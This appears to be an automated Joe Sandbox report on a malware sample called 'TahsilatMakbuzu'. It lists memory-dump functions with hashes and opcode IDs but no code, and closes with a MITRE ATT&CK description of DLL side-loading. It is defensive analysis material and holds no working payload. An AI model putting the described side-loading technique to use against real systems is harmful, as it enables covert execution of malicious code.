Function 02B918F0 Relevance: 1.6, Strings: 1, Instructions: 358COMMON

Download Yara Rule

Strings

@, xrefs: 02B91B43

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 54e3746341ee36906b3578bd2374778aec42427dbf01276b55da772523df9e22
Instruction ID: ab2402a2d1b56cea2b86ef05eb84e443878f48f62ad5266f498d5fd68ec7fa53
Opcode Fuzzy Hash: 54e3746341ee36906b3578bd2374778aec42427dbf01276b55da772523df9e22
Instruction Fuzzy Hash: 0FD1AA34B242468FDB04DFACC494BADBBB2EF89714F1540A9E50ADB3A5CA30ED41DB51

Function 02B94C76 Relevance: 1.3, Strings: 1, Instructions: 7COMMON

Download Yara Rule

Strings

jjjjjj, xrefs: 02B94DD6

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID: jjjjjj
API String ID: 0-3900813449
Opcode ID: 8ba3d1a8c1e74a156edaad5c5a6f03a26f8e77fc97e003217fec6ab1179ec554
Instruction ID: 56c7c24072d82f7eee09fe60c1bb2f92476dbff28ddd7a69d5b44156376d300e
Opcode Fuzzy Hash: 8ba3d1a8c1e74a156edaad5c5a6f03a26f8e77fc97e003217fec6ab1179ec554
Instruction Fuzzy Hash: 9EB0922640E388CFCB064E6888D00617F60AEA2044329C2EAC4850F057C0758A8BE321

Function 02B929BD Relevance: .6, Instructions: 629COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bd2e526272a943e3a28b61cefcd6eb63773ba5a7060bb96053d05cec9ebf4ac
Instruction ID: 05d55d645186a4fa8143b1ba0f05d27b54110d45d9fb5bdefaf8f6c83e5b966b
Opcode Fuzzy Hash: 2bd2e526272a943e3a28b61cefcd6eb63773ba5a7060bb96053d05cec9ebf4ac
Instruction Fuzzy Hash: 525204B4905240DFDB21EF59D658B98BBF2EB02308F56C1E9C4558B26AD776EC88CF40

Function 02B92CE0 Relevance: .5, Instructions: 534COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21f72b69647661a9c7c1bf085797edc7f351550d1af16eb928b32f74ea9007b3
Instruction ID: 962515b601a45deb89b17df401305fa483fe69144920da8448ebff7b0275a047
Opcode Fuzzy Hash: 21f72b69647661a9c7c1bf085797edc7f351550d1af16eb928b32f74ea9007b3
Instruction Fuzzy Hash: 4A42B1B4905240CFD721EF49D698B98BBF2FB05349F56C1E9D0548B26AE776E888CF40

Function 02B94880 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d632107e9f5d401e6d5622479f6a33e3023ed65847678575c0f6a62d31c5974
Instruction ID: 731dcb7dda666948c4b1db63930faf26d256692e906272de5eb07a797411682d
Opcode Fuzzy Hash: 8d632107e9f5d401e6d5622479f6a33e3023ed65847678575c0f6a62d31c5974
Instruction Fuzzy Hash: 4C61F334B04284CFDB189B38CC94B2A7AB6BB86310F2545BAD516DB3D5DB71DC02C7A5

Function 02B929EA Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d23f207721d56bbf1290bcf8169fbb1dc4b513968e6105fbdfc87f14a9fe2984
Instruction ID: da30c85cd24b8cb5425718a4622ce67fce95a63141e92f62da94f24bee132698
Opcode Fuzzy Hash: d23f207721d56bbf1290bcf8169fbb1dc4b513968e6105fbdfc87f14a9fe2984
Instruction Fuzzy Hash: C871F735E04505EBDF14EFA8C8907AEB7B2FB88300F1584B5DD26AB354DA34AD42CB95

Function 02B90A92 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a024499add6032fa920a6b671955b4415dda343b8f4c9d18c19ba6ca075aa28a
Instruction ID: 87448a1b0c3bc308a835efe205bd25245521c00112d0fdc24c69ccd0be358413
Opcode Fuzzy Hash: a024499add6032fa920a6b671955b4415dda343b8f4c9d18c19ba6ca075aa28a
Instruction Fuzzy Hash: D9517230E006069BDF14EB79D9906AEB7F2EF84354F108979E415EB350EB709D46CB80

Function 02B922D8 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a5ea0b214a1855d330fe7a7085762bed0b390ff503a5db378e64168e443a1a6
Instruction ID: 2592fcef0f9413b69b994e4113c1a1c5de3a43ca5c0846a04b2107bf352a97e8
Opcode Fuzzy Hash: 9a5ea0b214a1855d330fe7a7085762bed0b390ff503a5db378e64168e443a1a6
Instruction Fuzzy Hash: 77517A34A08600DFDB24DF69D4407AAB7F2FB89304F14CABAC98A87795D774E885CB51

Function 02B91EB0 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f96d6bd0b194ebb1b703d71ee7ecc9a47304f4d4ce4db310606d5bfe34ecfa1a
Instruction ID: f29d8b513324eb1d499d064add4a6e9fd21beddee3d82cac850dfbedb103fd3f
Opcode Fuzzy Hash: f96d6bd0b194ebb1b703d71ee7ecc9a47304f4d4ce4db310606d5bfe34ecfa1a
Instruction Fuzzy Hash: 3841A231B2020B8FDF48EB79D41077E77A6FBC5240F1489B9D50A9B288EB309C42DB91

Function 02B90C9B Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d160fae2d4b974a71853a31797b5622487d386114ff445c1b50990ae3ec2854
Instruction ID: e3a9ff4dcabb4f1624253a33e4ba68d2817d4b0a83e9fdc6836354d2ddb759b8
Opcode Fuzzy Hash: 5d160fae2d4b974a71853a31797b5622487d386114ff445c1b50990ae3ec2854
Instruction Fuzzy Hash: 35416B30B002099FCF49ABB9C4A46ADBBF3BF89310F144469E506EB394DF758C428B51

Function 02B90CB0 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e8a143538515e0dd808d8e06d897b33fefbed828e24c40b7200c385748587ff
Instruction ID: dfa2cf2d535ad9ff4cdfad3c8d1602cae40e3a9c0319c1a3f66746c769b5e984
Opcode Fuzzy Hash: 2e8a143538515e0dd808d8e06d897b33fefbed828e24c40b7200c385748587ff
Instruction Fuzzy Hash: 81415930B002099FCF58ABB9C4686ADBAF7AF89301F14442DE406EB394DF759C418B91

Function 02B93DE8 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7143252e724358e6cafdc55f73fd8872225fdec1d4bee044b650455497526161
Instruction ID: f1903791f0ec452c53dafb32ab52f80b9a9bcdf2f92f50089ab4f55c00eb51b1
Opcode Fuzzy Hash: 7143252e724358e6cafdc55f73fd8872225fdec1d4bee044b650455497526161
Instruction Fuzzy Hash: C7413D75914916DBDF24DF58C8807AAF7FAFB44300F1188FAD816A7245D334AD42CBA1

Function 02B91EA2 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de17300a07a8533862245abecdd20d80f08aa3dcf542955b0071bcc4d4a84c1d
Instruction ID: 2ad4e1ff29e63e488d5b9c581395d62ad227612e74f46d456f9313620303302f
Opcode Fuzzy Hash: de17300a07a8533862245abecdd20d80f08aa3dcf542955b0071bcc4d4a84c1d
Instruction Fuzzy Hash: 96218231B2420A8BDF58DA68E440B7A73A6EB85254F1489B5D50EC7288E730CD01DB91

Function 02B921C7 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ab7f1198abe5022f22bbb83f3ffb9fd1a3f2cf3ca492819c29868be829b7fb2
Instruction ID: 514447e1753be8b929957ec9d858902eb0ec1e43ec83a88371c840da91e50caf
Opcode Fuzzy Hash: 6ab7f1198abe5022f22bbb83f3ffb9fd1a3f2cf3ca492819c29868be829b7fb2
Instruction Fuzzy Hash: 2221F431E0C201BFEF2489B8D88476A77D9FB413A4F0445BAECC6C2690E764E884C760

Function 02B96D4C Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b9eb423a4f5eda81e296a98ccc364c9bc945e373c0fa30592be4c34c7ab264b
Instruction ID: 48112ca2674ce1c68eaf101389202ccc709df9a6808a3b3e66c4947933f94142
Opcode Fuzzy Hash: 8b9eb423a4f5eda81e296a98ccc364c9bc945e373c0fa30592be4c34c7ab264b
Instruction Fuzzy Hash: F4313670D00249AFDF14CFA9C580ADEBBF5EF48744F248069E909AB250DB349945CB90

Function 02B96D58 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d30a1e1b8775609a3030d02f615d465bd28467e62225845109a0b37a882cf091
Instruction ID: 8503d89620c60699c14869929a4031339f007d2a7e72789120464ca7e0499430
Opcode Fuzzy Hash: d30a1e1b8775609a3030d02f615d465bd28467e62225845109a0b37a882cf091
Instruction Fuzzy Hash: 15312470D01249EFDF14CFAAC590ADEBFF9BF48740F248069E909AB250DB349945CBA0

Function 02B91C28 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cffa397be7d073d3d9941eaa5a6a5c29bc883fbaa5184e4029fd892d4635c051
Instruction ID: 5e5c49ec44788a1d8cc95497d1ff99110ccf003d50007ac5784ea2fb15a09358
Opcode Fuzzy Hash: cffa397be7d073d3d9941eaa5a6a5c29bc883fbaa5184e4029fd892d4635c051
Instruction Fuzzy Hash: 1931F674B00115CFDB18DFA8D558BADBBB1AF88704F1044A9E91AEB3A5CB709841DB50

Function 0113D3B4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4533443756.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_113d000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59d6a636af9e38db46f156c2b69736527cb9328aaf362b71a19d134954fac7bb
Instruction ID: 44133de68fbf537045c30af55a46e0095570ed9814cb735282c62381bf473b73
Opcode Fuzzy Hash: 59d6a636af9e38db46f156c2b69736527cb9328aaf362b71a19d134954fac7bb
Instruction Fuzzy Hash: CB2103B2504200EFDF09DF54E9C0B66BF65FBC4324F60C569E9090B64AC336E856CAA2

Function 02B912C8 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 152df4d6f10eece309553696dd6436f125d7c47ade5a3dbbef199fac32dec401
Instruction ID: b6d6c63a33aa2e598fe970b310fa1097658d2ce799de735716d2f6797b68a0c2
Opcode Fuzzy Hash: 152df4d6f10eece309553696dd6436f125d7c47ade5a3dbbef199fac32dec401
Instruction Fuzzy Hash: 8E119A74A00105DFCB44EFB8D895AADBBB1FF85701F408568D511E7394DB30AD06CB50

Function 0113D3AF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4533443756.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_113d000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction ID: 38e8f033ba5410e3f6dae7c8fa5d65228d1bc8b3dda4a8ce0b2a333b1622da69
Opcode Fuzzy Hash: 77fadd82fdc2d56cf39070efea1a70d2bd0433e89b8e3a9964b57efaebe0ac53
Instruction Fuzzy Hash: 80119D76504280DFCF16CF54D5C4B56BF72FB84324F24C5A9D8490BA5AC33AE45ACBA2

Function 02B912D8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8dd5c5a8206b3dedd47766aebc76509137385db11e35513ff342bbad077ed4b
Instruction ID: c612913fff7bd3d0947b4a3bbb4681d35ece459cd21beafd37692d5b2eda19c3
Opcode Fuzzy Hash: d8dd5c5a8206b3dedd47766aebc76509137385db11e35513ff342bbad077ed4b
Instruction Fuzzy Hash: 1D114278A0020ADFCB44EFB4D8949AEBBB6FF88711F108568D515A7394DB30AD05CF50

Function 02B91CD1 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d0ce004857320f7742dc2a7206ce797b664d7bf3295e53cd185fffc1a3e8cbe
Instruction ID: 13ef6b782e553eb01facc5ab632ba45acb01fd2e638a5e90a1001a03ffd0d171
Opcode Fuzzy Hash: 3d0ce004857320f7742dc2a7206ce797b664d7bf3295e53cd185fffc1a3e8cbe
Instruction Fuzzy Hash: A2111538A1410A8FDB18DFACE958BAC7B75EF48711F1140B5E50BAB394CB319944DB11

Function 02B920B8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89b3bc17274ceee325f81b07c50ce47e8ac472cc284e5f73efd330993fb6ae1a
Instruction ID: a33b8d32d122d363defd6ec8077509becbf6cb0308eb19c7e3638ae4e981f198
Opcode Fuzzy Hash: 89b3bc17274ceee325f81b07c50ce47e8ac472cc284e5f73efd330993fb6ae1a
Instruction Fuzzy Hash: B1012630B44110AFCB28969DD804B6AB3DBFBC9750F24447AEA0AD7399CF708C81CB91

Function 02B91458 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c100908f06bfaa6f17a351d2af85d2dbbecfd0023c1c925ab35adfb2ab26c2ff
Instruction ID: 4f426fdc3e3cd64485e0ff52414beea059a69baddeff541340b20750ffa7d7cc
Opcode Fuzzy Hash: c100908f06bfaa6f17a351d2af85d2dbbecfd0023c1c925ab35adfb2ab26c2ff
Instruction Fuzzy Hash: CB117C347141428FEB15EB28D458B6A3BE2EF8A308F1844B8D40ACB3A6EB35DC05CB50

Function 02B920A9 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2d7fe4d5894b083eae4563f6d46562d205219e6ee416b9a89899f096684c17
Instruction ID: 3a3cd3bc886d13a2eef5af55002c66100001287169d9206998a5520079a04b03
Opcode Fuzzy Hash: 6e2d7fe4d5894b083eae4563f6d46562d205219e6ee416b9a89899f096684c17
Instruction Fuzzy Hash: 8F01F230F44111AFCB189659C844B2AB2AAFB89700F144475EA1ADB399DB709C51CB91

Function 02B91398 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98440a52bcd6b049046e7c878aa9a00f852ceb714e1a908299f7a7032ebf56c0
Instruction ID: ae4bcb81e9af96dbf7073f4fb97742532f809149839eb376742da3934deb3c46
Opcode Fuzzy Hash: 98440a52bcd6b049046e7c878aa9a00f852ceb714e1a908299f7a7032ebf56c0
Instruction Fuzzy Hash: B201F2313287869BCB299728D51023B7BB6EFC1301B15C8BED48A87696DE24AC41C394

Function 0113D76D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4533443756.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_113d000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e05fde6c81d55bdf54eb89e8d5c9aeb08b057aa10694509512eb656098a5397
Instruction ID: 942fc3d6390d2e570c96e92301c3c9b24dfe4d3830d6f2c148182869601184ce
Opcode Fuzzy Hash: 7e05fde6c81d55bdf54eb89e8d5c9aeb08b057aa10694509512eb656098a5397
Instruction Fuzzy Hash: 47012031004784DAEF164B69ED84B66FFD8EFC1768F04C019EE090B14AC3789444C672

Function 02B91C53 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a8ca0cecee01de58ccdd039e6ffc81d5dace47b970b91eb5f760687c4ff5b69
Instruction ID: bf363a6a7b16a85fa736d8a230d296347bb8d00fa676e1019220c7bb71d02f7b
Opcode Fuzzy Hash: 7a8ca0cecee01de58ccdd039e6ffc81d5dace47b970b91eb5f760687c4ff5b69
Instruction Fuzzy Hash: E8011634B40206CFDB149FA9C854B6DBBB1BF88304F1004A9E406DF364DBB49C41EB40

Function 02B909A9 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b9a23e63ea879ab0ff30ae9d0ae274662dab7f07cdd297d3d69abe7a89a09b9
Instruction ID: 44f5a29107a089f40afed86d713d436bd24287c76c7cd26b5e09273cb0aa9c15
Opcode Fuzzy Hash: 3b9a23e63ea879ab0ff30ae9d0ae274662dab7f07cdd297d3d69abe7a89a09b9
Instruction Fuzzy Hash: 3AF037213214BB17DA0C26A9D0303AF614FEBD9F21F51442AC14B8B7C5CE594C0243EA

Function 0113D76C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4533443756.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_113d000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ede65bf4b6b993264741ff98dd38ddce219b33861bfe81fcc6f20873d6949ea
Instruction ID: 8c4ed1eabc3de116e74372487bf53c7f68793605c8145e4182da488f3a6fc392
Opcode Fuzzy Hash: 4ede65bf4b6b993264741ff98dd38ddce219b33861bfe81fcc6f20873d6949ea
Instruction Fuzzy Hash: CBF0C272004784AEEB168A1AD884B62FF98EB81624F18C15AED080B286C3799844CA71

Function 02B92048 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6c86c4b11af41e48ee242ffc713b3978b1d98fad2a6d761ded3b8cf68f69a4e
Instruction ID: 470c65604dd7e849582033110327982219b7af84f58c03fdb39ba3234149d65c
Opcode Fuzzy Hash: c6c86c4b11af41e48ee242ffc713b3978b1d98fad2a6d761ded3b8cf68f69a4e
Instruction Fuzzy Hash: AFF0A0367046056FD3548A5A9C80A57BBFAFFC8664B2580AAE54DC7355DA70DC018BA0

Function 02B909B8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cc7dc9b8bddfbf70cb2902d147c633471cb7ee4cb57aae8c9a8cd86dbd31228
Instruction ID: 16fd6b7201202a15954ef7f8cbe4ce99394052781d16f07ae3ee37d89f0188b5
Opcode Fuzzy Hash: 0cc7dc9b8bddfbf70cb2902d147c633471cb7ee4cb57aae8c9a8cd86dbd31228
Instruction Fuzzy Hash: 12E092103118BB07DA0C26AAD03436F618FEBC8F11F91442E814B9B7C9CE994D0283EA

Function 02B90A28 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48105f485c7ac9584d17b37bf4b43f0a75c393bc4758c5bd451111f60296142a
Instruction ID: c6b3c24884ee91e98204b116820ce9d5a8e83a9914f0a532cd3375ab3546e8db
Opcode Fuzzy Hash: 48105f485c7ac9584d17b37bf4b43f0a75c393bc4758c5bd451111f60296142a
Instruction Fuzzy Hash: 2AE02670E05348EFCB05EF74E98059CBBF4EB16204B0044BDD445E720AF6302E00CB81

Function 02B90A38 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01c99c74996e86a3d0f6932dec963db1957a9ed48404f78011ece3c437ca9c62
Instruction ID: 71a5e997a20d00bc8b373ba82af384641de2b27c3d7e9cfc1f5d8f1d7aa44ed1
Opcode Fuzzy Hash: 01c99c74996e86a3d0f6932dec963db1957a9ed48404f78011ece3c437ca9c62
Instruction Fuzzy Hash: 11D05B70D0020DEFCB04EFB4E94055DB7F5EB45204B1041B9D408D7208EB315F04DB80

Function 02B90840 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbb7023124fed22fa64267328cb889c2e832c2ee8d4d19472bab0fedcfcfb597
Instruction ID: 99f32b68e05471bc711cb98121e3c046cf8e51c1b950f6cf99e2f08553124160
Opcode Fuzzy Hash: bbb7023124fed22fa64267328cb889c2e832c2ee8d4d19472bab0fedcfcfb597
Instruction Fuzzy Hash: 1BC08CB600938C8FC3474BA0A8885D03F29AA5A42034A02D6E09C86D07A51A255B8361

Function 02B90850 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 799425279fca4efc2fa5e327479ec29c4fa9bc43f27ba1a08560ba29f6e73dcf
Instruction ID: ad2e3624c47643f45bc2f12ca59ec3b43f5e71f7197c14b2b99480239f90eae0
Opcode Fuzzy Hash: 799425279fca4efc2fa5e327479ec29c4fa9bc43f27ba1a08560ba29f6e73dcf
Instruction Fuzzy Hash: 7E902230000A0CCB00002380300C280330C80008223800020A02C008000A0020E00280

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

